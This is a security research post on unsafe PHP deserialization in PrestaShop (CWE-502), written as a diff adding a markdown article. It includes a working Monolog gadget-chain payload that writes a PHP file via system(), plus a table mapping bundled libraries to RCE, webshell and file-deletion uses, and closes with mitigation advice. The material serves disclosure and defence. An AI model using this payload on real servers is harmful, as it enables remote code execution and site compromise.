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+---
+layout: post
+title: "[CWE-502] Exploring the perils of unsafe deserialize() in PrestaShop (part 1)"
+categories: research
+author:
+- 202-ecommerce.com
+- TouchWeb.fr
+- Friends-Of-Presta.org
+meta: "CVE,PrestaShop,CWE-502"
+severity: "critical (10)"
+---
+
+The deserialization of instantiated objects in PHP involved the trigger of the magic methods `__construct()`, `__wakeup()` and `__destruct()`. 
+
+A Smarty, Monolog or Symfony library's [Gadget](https://en.wikipedia.org/wiki/Gadget_(computer_science)) hydratation with a malicious payload followed by its deserialization can be exploited in multiple malicious critical usages.
+
+Until this present research, we did not have any known gadget on our ecosystem that can justify a CVE against `unserialize` usage.
+
+## Summary
+
+* **Published at**: 2023-08-28
+* **Platform**: All CMS especially PrestaShop.
+* **Weakness**: [CWE-502](https://cwe.mitre.org/data/definitions/502.html)
+* **Severity**: critical (10)
+
+## Unsafe PHP method deserialize() (part 1)
+
+### How it works?
+
+Let's take an example. The `Smarty` template engine cache process is scheduled to create a lock file at the beginning and remove it at the end during the destruct of `Smarty`'s object. 
+
+A Gadget of this object, a sort of "mockup" of the original class, can be crafted with a target file as parameter. Then, it will remove the target during the deserialization of the Gadget. `Smarty` cache class can be hijacked to delete any files of the vulnerable application.
+
+Please read this article to know more about [unsafe unserialize() in PHP](https://www.sjoerdlangkemper.nl/2021/04/04/remote-code-execution-through-unsafe-unserialize/).
+
+
+### Proof of concept
+
+Similarly, the popular library `Monolog` can be hijacked to execute remote code. Let’s explain it in a POC.
+
+We created a simple module to demontrate the danger of a deserialization. Please note that any php script that include PrestaShop core file `config/config.inc.php` load vendors libraries and consequently `Monolog` (PS 1.7+) or others libraries.
+
+**FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.**
+
+1. Create a module
+
+```php
+// modules/mymodule/mymodule.php
+
+class Mymodule
+{
+...
+    public function getContent()
+    {
+        $payload = 'O:37:"Monolog\Handler\FingersCrossedHandler":3:{s:13:"passthruLevel";i:0;s:6:"buffer";a:1:{s:4:"test";a:2:{i:0;s:45:"echo \'<?php echo "♥" . (25-125);\' > ./a.php";s:5:"level";N;}}s:7:"handler";O:29:"Monolog\Handler\BufferHandler":7:{s:7:"handler";N;s:10:"bufferSize";i:-1;s:6:"buffer";N;s:5:"level";N;s:11:"initialized";b:1;s:11:"bufferLimit";i:-1;s:10:"processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}';
+
+        $unsafeDeserialization = unserialize($payload);
+
+        return var_dump($unsafeDeserialization, true);
+    }
+...
+```
+
+2. Go to the configuration page of the module.
+
+3. This piece of code will put an `a.php` file in the designated directory of PrestaShop.
+
+
+### Malicious usage through PrestaShop dependencies
+
+Malicious usages of PrestaShop via common libraries are:
+* remote code execution (RCE) to put a webshell
+* Server Side Request Forgery (SSRF) to aggress other website with a clean IP
+* File Deletion (FD) to remove an htaccess and expose logs or sensitive data
+* File Writer (WF) to put a webshell
+* Files read reader (RF) to read sensitive data like mysql password
+* SQL injections (SQLi)
+* Technical data leaks (Info)
+
+|PrestaShop dependency|Malicious usage|
+| ------|-----|
+|Smarty|SSRF and FD|
+|Monolog|RCE and FW|
+|Symfony|FD, FW, and RCE|
+|Doctrine|RCE and FW|
+|TCPDF|FD|
+|Guzzle|FW, Info and RCE|
+
+Source: [PHP Generic Gadget Chains](https://github.com/ambionics/phpggc/tree/master/gadgetchains)
+
+NB 1: This list is not exhaustive. Module dependencies can also include other hijackable classes.
+
+NB 2: Several PrestaShop core or modules configurations are stored in database as serialized strings. In chain, a SQL injection can also be exploited to inject malicious serialized string that will be triggered during the deserialization.
+
+
+### How to prevent this vulnerability?
+
+As you understand, `unserialize($_GET['param'])` (or `$_POST`, `$_COOKIE`, ...), each **untrusted data unserialized is a critical vulnerability**. 
+
+* A strict validation of input data is absolutely essential!
+* Use json serialization instead as soon as possible : `json_encode` and `json_decode`
+* Disable the deserialization of classes via `unserialize($args, ['allowed_classes' => false])`. That's not perfect but better than nothing.
+
+